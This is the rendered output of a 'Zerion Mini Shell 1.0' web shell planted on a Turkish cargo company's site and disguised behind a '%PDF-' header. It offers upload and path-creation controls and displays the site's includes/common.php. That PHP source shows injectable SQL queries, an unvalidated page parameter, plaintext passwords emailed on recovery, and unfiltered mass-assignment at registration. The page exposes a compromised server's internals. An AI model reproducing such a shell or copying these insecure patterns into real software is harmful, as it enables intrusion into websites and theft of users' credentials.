%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/cargonizer/domains/cargonizer.com.tr/public_html/includes/
Upload File :
Create Path :
Current File : /home/cargonizer/domains/cargonizer.com.tr/public_html/includes/common.php

<?php
    $settings = getTable('settings',"WHERE id=1",LANG);

    $id = intval("0".$_GET['id']);

    if (!$_GET["s"]) {
        $page = "main";
    } else {
        if(file_exists($_GET["s"].'.php'))
            $page = clean($_GET['s']);
        else
        $page = 'main';
    }

    $action = clean($_POST['action']);

    switch($action) {
        case 'contactForm':
            $iform = clean($_POST['iform']);
            if(array_filter($iform)) {
                $tmp[] = '<table border="1" cellspacing="0" cellpadding="4">';
                foreach($iform as $key => $value) {
                    $tmp[] = '<tr><td>'.$key.' : </td><td>'.$value.'</td></tr>';
                }
                $tmp[] = '<tr><td>IP : </td><td>'.$_SERVER['REMOTE_ADDR'].'</td></tr>';
                $tmp[] = '<tr><td>Site : </td><td>'.($_SERVER['HTTP_HOST']).'</td></tr>';
                $tmp[] = '</table>';
                postala($settings['email'], strtoupper($_SERVER['HTTP_HOST']), $settings['email'], lang('İletişim Sayfanızdan Mesaj Var'), implode('',$tmp));
                unset($tmp);
                $sysMsg = message(lang('Formunuz tarafımıza başarı ile iletilmiştir. En kısa sürede sizin ile irtibata geçilecektir.'),'success');
            }
            else
                $sysMsg = message(lang('Lütfen bütün alanları doldurunuz'),'error');
            break;
        case 'login':
            $l = clean($_POST['l']);
            if(is_array($l) && array_filter($l)) {
                loginCheck($l);
            }
            break;
        case 'lostpass':
            $lp = clean($_POST['lp']);
            if(is_array($lp) && array_filter($lp)) {
                $u = mysql_fetch_assoc(mquery("SELECT name,username,password FROM users WHERE username='{$lp['username']}' && status!=2"));
                if($u) :
                    $text = sprintf(lang('sifremiUnuttumText'),$u['name'],$u['username'],$u['password']);
                    postala($u['username'], strtoupper($_SERVER['HTTP_HOST']), $settings['email'], lang('lostPassTitle'), $text);
                    $_SESSION['error']['lostpass'] = message(lang('sendPasstext'),'success');
                    else :
                    $_SESSION['error']['lostpass'] = message(lang('noUserExists'),'error');
                    endif;
            }
            break;
        case 'register':
            $k = clean($_POST['k']);
            if(is_array($k) && array_filter($k)) {
                $u = mysql_fetch_assoc(mquery("SELECT * FROM users WHERE username='{$k['username']}'"));
                if($u) :
                        if($u['status']==1) {
                            $_SESSION['error']['register'] = message(lang('zatenUyelikvar'),'error');
                        } else if($u['status']==0) {
                            $_SESSION['error']['register'] = message(lang('onaysizUyelikvar'),'error');
                        }
                        else {
                            $_SESSION['error']['register'] = message(lang('onaysizUyelikvar'),'error');
                        }
                    else :
                     
                     $k['status'] = $settings['userStatus'];
                     mquery("INSERT INTO users SET ".arr2mysql($k,'users'));
                     $cusid = mysql_insert_id();
                     if(!$settings['userStatus'])
                         $_SESSION['error']['register'] = message(lang('onayBekletext'),'info');
                     else { 
                        $_SESSION['error']['register'] = message(lang('basariliUyelik'),'success');
                        $_SESSION['customer'] = getTable('users',"WHERE id='$cusid'");
                     }
                    endif;
            }
            break;
    }
?>

Zerion Mini Shell 1.0